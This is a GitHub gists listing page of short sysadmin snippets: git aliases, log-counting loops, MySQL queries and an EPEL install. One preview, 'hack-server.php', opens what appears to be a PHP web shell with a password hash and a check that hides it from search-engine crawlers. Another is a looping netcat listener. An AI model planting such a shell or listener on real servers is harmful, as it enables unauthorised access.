vdubyna’s gists

vdubyna / gist:bd179cbcd3affac00fe9

Created October 17, 2014 11:48

git-aliases

	git config --global alias.co checkout
	git config --global alias.ci commit
	git config --global alias.st status
	git config --global alias.br branch
	git config --global alias.hist 'log --pretty=format:"%h %ad \| %s%d [%an]" --graph --date=short'
	git config --global alias.type 'cat-file -t'
	git config --global alias.dump 'cat-file -p'

vdubyna / gist:4e0c96eebf2805c464df

Created November 13, 2014 12:16

count records per hour

for h in `seq -w 0 23` ; do echo -n $h" | " ; grep -c 2014-11-12T$h var/log/system.log ; done

vdubyna / requests-per-hour.sql

Created November 13, 2014 13:30

Requests per hour without static content

select count(*), HOUR(lu.visit_time)  from log_url_info as ui JOIN  log_url as lu on lu.url_id=ui.url_id JOIN log_visitor_info as vi on lu.visitor_id=vi.visitor_id where date(lu.visit_time) = '2014-11-12' and !(url like '%.jpg%' or url like '%.png%' or url like '%.js%' or url like '%.css%' or url like '%.gif%' or url like '%.ico%'  or url like '%.txt%')  GROUP BY HOUR(lu.visit_time);

vdubyna / epel-install.sh

Created December 17, 2014 12:23

install epel centos7

	yum install wget
	wget -r --no-parent -A 'epel-release-*.rpm' http://dl.fedoraproject.org/pub/epel/7/x86_64/e/
	rpm -Uvh dl.fedoraproject.org/pub/epel/7/x86_64/e/epel-release-*.rpm

vdubyna / limited-loop

Created December 20, 2014 13:23

counter="0"; while [ $counter -lt 100 ] ; do counter=$[$counter+1] && php dispatcher.php && sleep 3 ; done

vdubyna / gist:9fcdf62338776d6139e3

Last active August 29, 2015 14:13

show all related foreign keys to table

SELECT TABLE_NAME, COLUMN_NAME, CONSTRAINT_NAME, REFERENCED_TABLE_NAME, REFERENCED_COLUMN_NAME FROM INFORMATION_SCHEMA.KEY_COLUMN_USAGE WHERE   REFERENCED_TABLE_NAME = '<table name>' AND TABLE_SCHEMA=database();

vdubyna / simple terminal server

Created May 7, 2015 12:31

while nc -l -v 8089 ; do sleep 0.01 ; done

vdubyna / .gitignore

Last active August 29, 2015 14:21 — forked from karmi/.gitignore

	nginx/
	!nginx/.gitkeep
	!nginx/logs/.gitkeep

	src/

	tmp/

vdubyna / hack-server.php

Created May 20, 2015 09:16

	<?php
	$auth_pass = "eaf02c22c483aa6b6510118dd3524c2c";
	$color = "#df5";
	$default_action = 'FilesMan';
	$default_use_ajax = true;
	$default_charset = 'Windows-1251';

	if(!empty($_SERVER['HTTP_USER_AGENT'])) {
	$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
	if(preg_match('/' . implode('\|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {

vdubyna / database-sizes.sql

Last active August 11, 2016 09:00

Database count sizes

	SELECT DBName,CONCAT(LPAD(FORMAT(SDSize/POWER(1024,pw),3),17,' '),' ',
	SUBSTR(' KMGTP',pw+1,1),'B') "DataSize",
	CONCAT(LPAD(FORMAT(SXSize/POWER(1024,pw),3),17,' '),' ',
	SUBSTR(' KMGTP',pw+1,1),'B') "IndexSize",
	CONCAT(LPAD(FORMAT(STSize/POWER(1024,pw),3),17,' '),' ',
	SUBSTR(' KMGTP',pw+1,1),'B') "Total Size"
	FROM (SELECT IFNULL(DB,'All Databases') DBName,SUM(DSize) SDSize,
	SUM(XSize) SXSize,SUM(TSize) STSize
	FROM (SELECT table_schema DB,data_length DSize,index_length XSize,
	data_length+index_length TSize FROM information_schema.tables WHERE

Volodymyr Dubyna vdubyna